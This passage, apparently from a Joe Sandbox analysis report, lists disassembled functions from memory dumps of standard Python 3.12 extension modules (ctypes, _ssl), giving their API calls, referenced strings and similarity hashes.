Source File: 00000001.00000002.2089791994.00007FFE10241000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FFE10240000, based on PE: true

Associated: 00000001.00000002.2089773823.00007FFE10240000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2089815185.00007FFE10258000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2089815185.00007FFE1025C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2089856736.00007FFE10264000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2089876376.00007FFE10265000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe10240000_file.jbxd

Similarity

API ID: Eval_Thread$RestoreSaveStringThread_acquire_lock$Bytes_Err_FromList_ModuleSizeStateThread_release_lockType_
String ID: Repeated call to flush()
API String ID: 3871537485-194442007
Opcode ID: a4197e1cdbd251bead5eb9b1989463c00a4a401fc08ccf7e864d5c68d6b91325
Instruction ID: dab341064d9a127b4ba41901ba266bd2a925fc50ea14eadd90a64a5523a8ced3
Opcode Fuzzy Hash: a4197e1cdbd251bead5eb9b1989463c00a4a401fc08ccf7e864d5c68d6b91325
Instruction Fuzzy Hash: A2114661A08E8182EA548B17F4442B97B65FBC5FA0F048070DB0E53775DFBCE455C705

Function 00007FFE1338E7E0 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 41COMMON

Download Yara Rule

APIs

PyArg_ParseTuple.PYTHON312 ref: 00007FFE1338E7FF
GetLastError.KERNEL32 ref: 00007FFE1338E815
PyUnicode_FromWideChar.PYTHON312 ref: 00007FFE1338E83E
LocalFree.KERNEL32 ref: 00007FFE1338E84A

Strings

<no description>, xrefs: 00007FFE1338E852
|i:FormatError, xrefs: 00007FFE1338E7F4

Memory Dump Source

Source File: 00000001.00000002.2090443635.00007FFE13381000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE13380000, based on PE: true

Associated: 00000001.00000002.2090425781.00007FFE13380000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090483624.00007FFE13391000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090517164.00007FFE13398000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339E000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe13380000_file.jbxd

Similarity

API ID: Arg_CharErrorFreeFromLastLocalParseTupleUnicode_Wide
String ID: <no description>$|i:FormatError
API String ID: 935104296-1632374824
Opcode ID: d6a9b795fe00a5234fc72658ac035ff926dba164ee514155b27a446e7d282a7f
Instruction ID: ec5094852d03598ab9ddc794d3c338207418a9ee7bfc35e533ed72b1c72f7117
Opcode Fuzzy Hash: d6a9b795fe00a5234fc72658ac035ff926dba164ee514155b27a446e7d282a7f
Instruction Fuzzy Hash: F0015261E08E42CAEA508B27A84407D22B2AF68BF1B5446B5D93E63BF4DF3CD4848744

Function 00007FFE1338E870 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 37threadCOMMON

Download Yara Rule

APIs

PyArg_ParseTuple.PYTHON312 ref: 00007FFE1338E895
PyEval_SaveThread.PYTHON312 ref: 00007FFE1338E8A3
FreeLibrary.KERNEL32 ref: 00007FFE1338E8B1
PyEval_RestoreThread.PYTHON312 ref: 00007FFE1338E8CC
PyErr_SetFromWindowsErr.PYTHON312 ref: 00007FFE1338E8D8

Strings

O&:FreeLibrary, xrefs: 00007FFE1338E887

Memory Dump Source

Source File: 00000001.00000002.2090443635.00007FFE13381000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE13380000, based on PE: true

Associated: 00000001.00000002.2090425781.00007FFE13380000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090483624.00007FFE13391000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090517164.00007FFE13398000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339E000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe13380000_file.jbxd

Similarity

API ID: Eval_Thread$Arg_Err_FreeFromLibraryParseRestoreSaveTupleWindows
String ID: O&:FreeLibrary
API String ID: 204461231-2600264430
Opcode ID: b1d2690e3133f2acf39e5c0c71adc33a8156b010e790d72c96b8ad6ad3a6821b
Instruction ID: 700fda6ca9bb7c055d808bb1d3c04f92d69adf9e1a31b42949278570762a9a4d
Opcode Fuzzy Hash: b1d2690e3133f2acf39e5c0c71adc33a8156b010e790d72c96b8ad6ad3a6821b
Instruction Fuzzy Hash: E0012D21E0CE43CAEB909B63A84003D23A1BF64BE5B1445F5D96F73B74DE2CE4858359

Function 00007FFE1338B2C4 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 35COMMON

Download Yara Rule

APIs

PyErr_SetString.PYTHON312 ref: 00007FFE1338B2F8
PyObject_GetAttrString.PYTHON312 ref: 00007FFE1338B30C
PyBytes_FromStringAndSize.PYTHON312 ref: 00007FFE1338B326
_Py_BuildValue_SizeT.PYTHON312 ref: 00007FFE1338B345

Strings

__dict__, xrefs: 00007FFE1338B302
O(O(NN)), xrefs: 00007FFE1338B333
ctypes objects containing pointers cannot be pickled, xrefs: 00007FFE1338B2EE

Memory Dump Source

Source File: 00000001.00000002.2090443635.00007FFE13381000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE13380000, based on PE: true

Associated: 00000001.00000002.2090425781.00007FFE13380000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090483624.00007FFE13391000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090517164.00007FFE13398000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339E000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe13380000_file.jbxd

Similarity

API ID: String$Size$AttrBuildBytes_Err_FromObject_Value_
String ID: O(O(NN))$__dict__$ctypes objects containing pointers cannot be pickled
API String ID: 1770468409-724424928
Opcode ID: 2653d269ef5ecd0bd439b180aa2f0cf6d652cd7ec7f54b148984b37c43282373
Instruction ID: 7d5e40ca4e9d7ab76cf4725e4b3d7124dec93dbded753c82fba9fd604499ca72
Opcode Fuzzy Hash: 2653d269ef5ecd0bd439b180aa2f0cf6d652cd7ec7f54b148984b37c43282373
Instruction Fuzzy Hash: 82015B65A08F42D9EA148B17E84002923A1FF58BE0F4441B5DEAE67B74DF3CE095C308

Function 00007FFE13385C50 Relevance: 12.2, APIs: 8, Instructions: 227COMMON

Download Yara Rule

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 00007FFE13385C78
__scrt_acquire_startup_lock.LIBCMT ref: 00007FFE13385CCA
_RTC_Initialize.LIBCMT ref: 00007FFE13385CF8
__scrt_dllmain_after_initialize_c.LIBCMT ref: 00007FFE13385D1E
__scrt_release_startup_lock.LIBCMT ref: 00007FFE13385D49

Memory Dump Source

Source File: 00000001.00000002.2090443635.00007FFE13381000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE13380000, based on PE: true

Associated: 00000001.00000002.2090425781.00007FFE13380000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090483624.00007FFE13391000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090517164.00007FFE13398000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339E000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe13380000_file.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID:
API String ID: 190073905-0
Opcode ID: b859fba60ab634450d4558633374ee41bda789d6879f756479625633da3e8711
Instruction ID: be6abf20e34dc959a0ea39b4660259bef0196743853d419bd792417f5431ad38
Opcode Fuzzy Hash: b859fba60ab634450d4558633374ee41bda789d6879f756479625633da3e8711
Instruction Fuzzy Hash: C7819221E08E43CEFA509B67944127D6291AF617B0F8442F4DA2D77BFADE3CE4859708

Function 00007FFE1339054C Relevance: 12.1, APIs: 8, Instructions: 125COMMON

Download Yara Rule

APIs

PyMem_Free.PYTHON312 ref: 00007FFE1339056A
PyMem_Free.PYTHON312 ref: 00007FFE13390577
PyMem_Free.PYTHON312 ref: 00007FFE1339058C
PyMem_Malloc.PYTHON312 ref: 00007FFE13390680
PyMem_Malloc.PYTHON312 ref: 00007FFE133906BF
memcpy.VCRUNTIME140 ref: 00007FFE133906E6
PyMem_Malloc.PYTHON312 ref: 00007FFE13390701
PyErr_NoMemory.PYTHON312 ref: 00007FFE13390710

Memory Dump Source

Source File: 00000001.00000002.2090443635.00007FFE13381000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE13380000, based on PE: true

Associated: 00000001.00000002.2090425781.00007FFE13380000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090483624.00007FFE13391000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090517164.00007FFE13398000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339E000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe13380000_file.jbxd

Similarity

API ID: Mem_$FreeMalloc$Err_Memorymemcpy
String ID:
API String ID: 920471837-0
Opcode ID: 2cbf7e0754bb8033f825de254b01f584d4ff0de2f7e15314da49088d16f338dc
Instruction ID: b44dad3ad3e4afa9056fdc0f943231366bd9fe35363d3edc2fbd3ce66f714774
Opcode Fuzzy Hash: 2cbf7e0754bb8033f825de254b01f584d4ff0de2f7e15314da49088d16f338dc
Instruction Fuzzy Hash: F6514222A08F85D6EB498F3AD5503B86361FBA8B54F049274DB6E577A1DF38B4A4C304

Function 00007FFE133811AC Relevance: 12.1, APIs: 8, Instructions: 106COMMON

Download Yara Rule

APIs

PyDict_Contains.PYTHON312 ref: 00007FFE13381F4C
PyDict_Update.PYTHON312 ref: 00007FFE13381F8A
_Py_Dealloc.PYTHON312 ref: 00007FFE13381FB2
PyDict_GetItemWithError.PYTHON312 ref: 00007FFE13381FF2
PyObject_SetAttr.PYTHON312 ref: 00007FFE13382011
PyErr_Occurred.PYTHON312 ref: 00007FFE13382032
_Py_Dealloc.PYTHON312 ref: 00007FFE133873C4

Part of subcall function 00007FFE133823D0: _PyThreadState_GetCurrent.PYTHON312(?,?,?,?,?,00007FFE13381F6C), ref: 00007FFE133823DD
Part of subcall function 00007FFE133823D0: _PyObject_MakeTpCall.PYTHON312 ref: 00007FFE1338241C

Memory Dump Source

Source File: 00000001.00000002.2090443635.00007FFE13381000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE13380000, based on PE: true

Associated: 00000001.00000002.2090425781.00007FFE13380000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090483624.00007FFE13391000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090517164.00007FFE13398000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339E000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe13380000_file.jbxd

Similarity

API ID: Dict_$DeallocObject_$AttrCallContainsCurrentErr_ErrorItemMakeOccurredState_ThreadUpdateWith
String ID:
API String ID: 2347184808-0
Opcode ID: fafb11d5694c280b2acdba99a4d3ccd8dbfbf9a8dc0b1101970e23a82e8a937a
Instruction ID: ce940ef466c48b8a60b2e45a210e5b200d845b06d115c5fc8877a64f20d71141
Opcode Fuzzy Hash: fafb11d5694c280b2acdba99a4d3ccd8dbfbf9a8dc0b1101970e23a82e8a937a
Instruction Fuzzy Hash: A6419A71E09F0289EB154B27990437C22A1EF65BB4F1442F4C96E66BB5DF7CE090C309

Function 00007FFE133850A4 Relevance: 12.1, APIs: 8, Instructions: 98COMMON

Download Yara Rule

APIs

_Py_Dealloc.PYTHON312(?,?,?,00007FFE1338508E), ref: 00007FFE133897B0

Memory Dump Source

Source File: 00000001.00000002.2090443635.00007FFE13381000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE13380000, based on PE: true

Associated: 00000001.00000002.2090425781.00007FFE13380000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090483624.00007FFE13391000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090517164.00007FFE13398000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339E000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe13380000_file.jbxd

Similarity

API ID: Dealloc
String ID:
API String ID: 3617616757-0
Opcode ID: 48098e22b0b6f661a9974852529b3a3853635ec1426ba8f91c41508bdfd4f77f
Instruction ID: 40fe47f9eb174d9390660ea21c5e6732e4fd6693d96f0d5bee1ac03f5121d802
Opcode Fuzzy Hash: 48098e22b0b6f661a9974852529b3a3853635ec1426ba8f91c41508bdfd4f77f
Instruction Fuzzy Hash: 76414F32D0DE02C9FF154F3A994027D33A4EB65F69F2446F4C66EA59A8CF2DA481C348

Function 00007FFE11ECB384 Relevance: 12.1, APIs: 8, Instructions: 60COMMON

Download Yara Rule

APIs

PyTuple_New.PYTHON312 ref: 00007FFE11ECB396
SSL_CIPHER_get_name.LIBSSL-3 ref: 00007FFE11ECB3AB
PyUnicode_FromString.PYTHON312 ref: 00007FFE11ECB3CB
SSL_CIPHER_get_version.LIBSSL-3 ref: 00007FFE11ECB3DD
PyUnicode_FromString.PYTHON312 ref: 00007FFE11ECB3FD
SSL_CIPHER_get_bits.LIBSSL-3 ref: 00007FFE11ECB411
PyLong_FromLong.PYTHON312 ref: 00007FFE11ECB419
_Py_Dealloc.PYTHON312 ref: 00007FFE11ECB43B

Memory Dump Source

Source File: 00000001.00000002.2090014963.00007FFE11EC1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFE11EC0000, based on PE: true

Associated: 00000001.00000002.2089995664.00007FFE11EC0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090035870.00007FFE11ECD000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090060351.00007FFE11EE0000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090079121.00007FFE11EE1000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090097048.00007FFE11EE7000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090115365.00007FFE11EE9000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe11ec0000_file.jbxd

Similarity

API ID: From$StringUnicode_$DeallocLongLong_R_get_bitsR_get_nameR_get_versionTuple_
String ID:
API String ID: 4201023408-0
Opcode ID: fee9805fb240ed61a1836a88a8d80bf8eb09ec56de480b0409f3cb58b36e2ceb
Instruction ID: 9f751cbfb928ae7702e0ac3c34b171951084a6e9f4f60504bc125f5d38a6cd74
Opcode Fuzzy Hash: fee9805fb240ed61a1836a88a8d80bf8eb09ec56de480b0409f3cb58b36e2ceb
Instruction Fuzzy Hash: 7321F131A0DE0286EF594FA7AD5433E63A9BF48FA5F884078C90E06370EE3DB450A741

Function 00007FFE10248564 Relevance: 10.6, APIs: 7, Instructions: 125threadCOMMON

Download Yara Rule

APIs

PyType_GetModuleState.PYTHON312 ref: 00007FFE1024859D
PyBytes_FromStringAndSize.PYTHON312 ref: 00007FFE102485B1
PyList_New.PYTHON312 ref: 00007FFE102485C8
PyEval_SaveThread.PYTHON312 ref: 00007FFE10248619
PyEval_RestoreThread.PYTHON312 ref: 00007FFE10248633
_Py_Dealloc.PYTHON312 ref: 00007FFE10254DB2
_Py_Dealloc.PYTHON312 ref: 00007FFE10254E04

Memory Dump Source

Source File: 00000001.00000002.2089791994.00007FFE10241000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FFE10240000, based on PE: true

Associated: 00000001.00000002.2089773823.00007FFE10240000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2089815185.00007FFE10258000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2089815185.00007FFE1025C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2089856736.00007FFE10264000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2089876376.00007FFE10265000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe10240000_file.jbxd

Similarity

API ID: DeallocEval_Thread$Bytes_FromList_ModuleRestoreSaveSizeStateStringType_
String ID:
API String ID: 2831925710-0
Opcode ID: cae30496bc2a9274937e9c345c6c18388f66ce03b5df9a1d955108f12d730ff2
Instruction ID: 2fc663f237c9c3e683eec39ede508b27686e8d68b2d399990be5deee693ab5fd
Opcode Fuzzy Hash: cae30496bc2a9274937e9c345c6c18388f66ce03b5df9a1d955108f12d730ff2
Instruction Fuzzy Hash: 6F518072A19F42C6EA608B12A4442BD6BA4FBC8B74F550271DF5D43BA2EF7CE490C704

Function 00007FFE13382198 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 124COMMON

Download Yara Rule

APIs

PyObject_IsInstance.PYTHON312 ref: 00007FFE1338743C

Part of subcall function 00007FFE13383ED0: _PyObject_GC_New.PYTHON312(?,?,?,00007FFE133820A5), ref: 00007FFE13383EDD
Part of subcall function 00007FFE13383ED0: PyObject_GC_Track.PYTHON312(?,?,?,00007FFE133820A5), ref: 00007FFE13383EFF

_Py_Dealloc.PYTHON312 ref: 00007FFE1338742A

Strings

wrong type, xrefs: 00007FFE13387551

Memory Dump Source

Source File: 00000001.00000002.2090443635.00007FFE13381000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE13380000, based on PE: true

Associated: 00000001.00000002.2090425781.00007FFE13380000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090483624.00007FFE13391000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090517164.00007FFE13398000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339E000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe13380000_file.jbxd

Similarity

API ID: Object_$DeallocInstanceTrack
String ID: wrong type
API String ID: 2747008106-2191655096
Opcode ID: 4689603ad602ed47d55b5c3d2b2579b1115efd5e6a022502f180788bda86c60c
Instruction ID: 3c27a787dacb521b56ac7869de1f0a849cf0b5ac25a8d316078c8d22cf25c7bc
Opcode Fuzzy Hash: 4689603ad602ed47d55b5c3d2b2579b1115efd5e6a022502f180788bda86c60c
Instruction Fuzzy Hash: DA517321A09E4789FA559B17D44023D27A2EF64BB0F5842F4D96EA7BB4DF2CE4D1C308

Function 00007FFE1338C858 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

PyObject_IsInstance.PYTHON312 ref: 00007FFE1338C900

Part of subcall function 00007FFE13383ED0: _PyObject_GC_New.PYTHON312(?,?,?,00007FFE133820A5), ref: 00007FFE13383EDD
Part of subcall function 00007FFE13383ED0: PyObject_GC_Track.PYTHON312(?,?,?,00007FFE133820A5), ref: 00007FFE13383EFF

_Py_Dealloc.PYTHON312 ref: 00007FFE1338C8E7

Strings

wrong type, xrefs: 00007FFE1338CA0C

Memory Dump Source

Source File: 00000001.00000002.2090443635.00007FFE13381000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE13380000, based on PE: true

Associated: 00000001.00000002.2090425781.00007FFE13380000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090483624.00007FFE13391000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090517164.00007FFE13398000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339E000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe13380000_file.jbxd

Similarity

API ID: Object_$DeallocInstanceTrack
String ID: wrong type
API String ID: 2747008106-2191655096
Opcode ID: f38dc5c3f7d2257bfeeee2d430c8f5b996d4290de2203c6166e5247c9692415e
Instruction ID: 05e29fa917ccfa8f6a78826f44fc93166a16ebc423ea801dc812cceb7f663e4a
Opcode Fuzzy Hash: f38dc5c3f7d2257bfeeee2d430c8f5b996d4290de2203c6166e5247c9692415e
Instruction Fuzzy Hash: 45513C21A09E4289FE54DB17D54027DA3A1AFA4BE0F4842F5D96E77BB5DF2CE481C308

Function 00007FFE133829C8 Relevance: 10.6, APIs: 7, Instructions: 109COMMON

Download Yara Rule

APIs

_Py_Dealloc.PYTHON312 ref: 00007FFE13387A42
PyTuple_New.PYTHON312 ref: 00007FFE13387A53
_Py_Dealloc.PYTHON312 ref: 00007FFE13387A6E

Memory Dump Source

Source File: 00000001.00000002.2090443635.00007FFE13381000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE13380000, based on PE: true

Associated: 00000001.00000002.2090425781.00007FFE13380000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090483624.00007FFE13391000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090517164.00007FFE13398000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339E000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe13380000_file.jbxd

Similarity

API ID: Dealloc$Tuple_
String ID:
API String ID: 828192933-0
Opcode ID: 47d51a8b582ce217429ef03afdb6a4bc994a57348244bf57096fb0f62a6abdfc
Instruction ID: a2086203b209c5aac6b282d5a68dad0b58e83ae43e9ace214334f35b5a14bac1
Opcode Fuzzy Hash: 47d51a8b582ce217429ef03afdb6a4bc994a57348244bf57096fb0f62a6abdfc
Instruction Fuzzy Hash: 01418632D08E42C9EB168F27984427D32A2FF64BB4F1442B5DA6E62A74DE3DE5D1C704

Function 00007FFE11EA9C6C Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 100COMMON

Download Yara Rule

APIs

_Py_Dealloc.PYTHON312 ref: 00007FFE11EA9CC8
PyBytes_FromStringAndSize.PYTHON312 ref: 00007FFE11EA9D03
memcpy.VCRUNTIME140 ref: 00007FFE11EA9D47
_Py_Dealloc.PYTHON312 ref: 00007FFE11EA9D63

Strings

Unable to allocate output buffer., xrefs: 00007FFE11EAC6EA

Memory Dump Source

Source File: 00000001.00000002.2089915841.00007FFE11EA1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FFE11EA0000, based on PE: true

Associated: 00000001.00000002.2089896834.00007FFE11EA0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000001.00000002.2089938398.00007FFE11EAE000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000001.00000002.2089958025.00007FFE11EB2000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000001.00000002.2089976007.00007FFE11EB3000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe11ea0000_file.jbxd

Similarity

API ID: Dealloc$Bytes_FromSizeStringmemcpy
String ID: Unable to allocate output buffer.
API String ID: 76732796-2565006440
Opcode ID: 192d9c9cdf7fb7c81c0bae171a6cbb097aeaf5356c6e4851a41644aa9c401917
Instruction ID: f21482a7167d42c991e25e2e43ecc04f648f82c4d0b0d88520c660ede8bb67cf
Opcode Fuzzy Hash: 192d9c9cdf7fb7c81c0bae171a6cbb097aeaf5356c6e4851a41644aa9c401917
Instruction Fuzzy Hash: 9D412F7AA09E1281EB198F97E84027A37A8FB48FA4F184472DE1D47765DF3DE491C340

Function 00007FFE11EC3C3C Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 71COMMON

Download Yara Rule

APIs

SSL_SESSION_get_id.LIBSSL-3 ref: 00007FFE11EC3C95
SSL_SESSION_get_id.LIBSSL-3 ref: 00007FFE11EC3CA7
memcmp.VCRUNTIME140 ref: 00007FFE11EC3CC0
PyErr_BadArgument.PYTHON312 ref: 00007FFE11EC3CEB
_PyErr_BadInternalCall.PYTHON312 ref: 00007FFE11EC3D22

Strings

D:\a\1\s\Modules\_ssl.c, xrefs: 00007FFE11EC3D1B

Memory Dump Source

Source File: 00000001.00000002.2090014963.00007FFE11EC1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFE11EC0000, based on PE: true

Associated: 00000001.00000002.2089995664.00007FFE11EC0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090035870.00007FFE11ECD000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090060351.00007FFE11EE0000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090079121.00007FFE11EE1000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090097048.00007FFE11EE7000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090115365.00007FFE11EE9000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe11ec0000_file.jbxd

Similarity

API ID: Err_N_get_id$ArgumentCallInternalmemcmp
String ID: D:\a\1\s\Modules\_ssl.c
API String ID: 2709062062-132925792
Opcode ID: 7cf2a4e6880d302448142106e15427b3e1fda5a3d611ffc2f48da2b1fe6517e4
Instruction ID: 951e8b31c9ed8108386fa2c4d18ba7b503ff579ca69cc9efde2bf96344e528a9
Opcode Fuzzy Hash: 7cf2a4e6880d302448142106e15427b3e1fda5a3d611ffc2f48da2b1fe6517e4
Instruction Fuzzy Hash: 5C318931A0CE4381EF688B97AC5023F5AA8FF44BA0F9444B1D90E43BB4DE1EFA418700

Function 00007FFE1338E494 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 62COMMON

Download Yara Rule

APIs

PyArg_UnpackTuple.PYTHON312 ref: 00007FFE1338E4C8
PyNumber_AsSsize_t.PYTHON312 ref: 00007FFE1338E4DE
PyErr_Occurred.PYTHON312 ref: 00007FFE1338E4ED
PyErr_Format.PYTHON312 ref: 00007FFE1338E524

Strings

byref() argument must be a ctypes instance, not '%s', xrefs: 00007FFE1338E50B
byref, xrefs: 00007FFE1338E4B6

Memory Dump Source

Source File: 00000001.00000002.2090443635.00007FFE13381000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE13380000, based on PE: true

Associated: 00000001.00000002.2090425781.00007FFE13380000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090483624.00007FFE13391000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090517164.00007FFE13398000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339E000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe13380000_file.jbxd

Similarity

API ID: Err_$Arg_FormatNumber_OccurredSsize_tTupleUnpack
String ID: byref$byref() argument must be a ctypes instance, not '%s'
API String ID: 169608245-1446499295
Opcode ID: c08a4bd694293a35fa6b5b388aa32c3a669d48706986069934bd2ff5f343e2e7
Instruction ID: 3c5b2e493d03228181f5325ce572aeef74d257d88f8ed1aafc6355a03a6280cd
Opcode Fuzzy Hash: c08a4bd694293a35fa6b5b388aa32c3a669d48706986069934bd2ff5f343e2e7
Instruction Fuzzy Hash: 7E215071A09F0689EB048B56E45027973A1FBA8BB0F4446B5C97D577A0EF7CE484C714

Function 00007FFE11EA22D4 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 58threadCOMMON

Download Yara Rule

APIs

